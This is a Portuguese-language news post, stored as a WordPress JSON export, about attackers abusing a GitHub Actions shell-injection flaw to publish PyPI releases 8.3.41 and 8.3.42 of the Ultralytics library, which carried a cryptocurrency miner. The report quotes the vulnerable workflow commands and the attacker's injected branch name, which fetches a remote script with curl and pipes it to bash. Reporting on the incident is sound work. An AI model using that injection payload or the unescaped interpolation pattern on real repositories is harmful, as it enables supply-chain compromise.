{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Um erro no processador do GitHub Actions levou \u00e0 publica\u00e7\u00e3o de releases maliciosos do Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Os invasores conseguiram executar c\u00f3digo com os direitos do manipulador do GitHub Actions no reposit\u00f3rio da biblioteca Python Ultralytics, utilizada para resolver problemas de vis\u00e3o computacional, como a detec\u00e7\u00e3o de objetos em imagens e a segmenta\u00e7\u00e3o de imagens. Ap\u00f3s obter acesso ao reposit\u00f3rio, os atacantes publicaram no diret\u00f3rio PyPI v\u00e1rias novas vers\u00f5es do Ultralytics, incluindo altera\u00e7\u00f5es maliciosas para minera\u00e7\u00e3o de criptomoedas. No \u00faltimo m\u00eas, a biblioteca Ultralytics foi baixada do diret\u00f3rio PyPI mais de 6,4 milh\u00f5es de vezes. <\/p>\n
Para a compromiss\u00e3o do reposit\u00f3rio, foi explorada uma vulnerabilidade no pacote ultralytics-actions, utilizado para executar automaticamente os manipuladores ao realizar determinadas a\u00e7\u00f5es no reposit\u00f3rio do GitHub, usando o mecanismo GitHub Actions. No projeto ultralytics, o manipulador vulner\u00e1vel estava vinculado ao evento pull_request_target e era invocado ao receber novas pull requests. Em particular, para formatar o c\u00f3digo nas pull requests recebidas, o manipulador format.yml era acionado e executava o c\u00f3digo especificado na se\u00e7\u00e3o \"run\" do arquivo action.yml, no qual estavam presentes comandos shell com vari\u00e1veis de substitui\u00e7\u00e3o: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name \"${{ inputs.github_username }}\" git config --global user.email \"${{ inputs.github_email }}\" <\/p>\n
Assim, os nomes das branches do Git mencionadas na pull request eram inseridos nos comandos shell sem o devido escaping. \u00c9 not\u00e1vel que, em agosto, uma vulnerabilidade semelhante j\u00e1 havia sido corrigida no pacote ultralytics-actions, relacionada ao uso de um valor externo na fun\u00e7\u00e3o echo: echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\" <\/p>\n
Para executar seu c\u00f3digo no contexto do manipulador GitHub Actions, os atacantes enviaram um pull request ao reposit\u00f3rio ultralytics, especificando como nome da branch: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Consequentemente, ao chegar uma pull request, o c\u00f3digo fornecido pelos atacantes foi inserido como a string \"$(…)$. Quando o manipulador foi executado posteriormente, isso levou \u00e0 execu\u00e7\u00e3o do c\u00f3digo \"curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash\".
<\/center> <\/p>\n
A execu\u00e7\u00e3o de c\u00f3digo no contexto das GitHub Actions pode ser usada para capturar o token de acesso ao reposit\u00f3rio e outros dados confidenciais. N\u00e3o est\u00e1 claro exatamente como os atacantes conseguiram gerar uma vers\u00e3o, obtendo a capacidade de executar seu pr\u00f3prio c\u00f3digo nas GitHub Actions; sup\u00f5e-se que isso foi poss\u00edvel devido \u00e0 modifica\u00e7\u00e3o do manipulador publish.yml (os atacantes removeram a verifica\u00e7\u00e3o da conta autorizada a publicar vers\u00f5es no PyPI) e ao uso de t\u00e9cnicas de envenenamento do cache de constru\u00e7\u00e3o das GitHub Actions para inserir seus pr\u00f3prios dados na vers\u00e3o. <\/p>\n
A primeira vers\u00e3o maliciosa Ultralytics 8.3.41 foi publicada por criminosos no reposit\u00f3rio PyPI no dia 4 de dezembro \u00e0s 23:51 (MSK) e removida no dia seguinte \u00e0s 12:15. \u00c0s 15:47, outra vers\u00e3o 8.3.42 foi lan\u00e7ada, que foi removida \u00e0s 16:47. Assim, as vers\u00f5es maliciosas estiveram dispon\u00edveis para download por cerca de 13 horas (em um dia, o PyPI registra aproximadamente 250 mil downloads da biblioteca ultralytics). As vers\u00f5es 8.3.41 e 8.3.42 continham c\u00f3digo que realizava o download de componente externo servidor<\/a> XMRig para minera\u00e7\u00e3o de criptomoedas. <\/p>\n
![\"Um](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n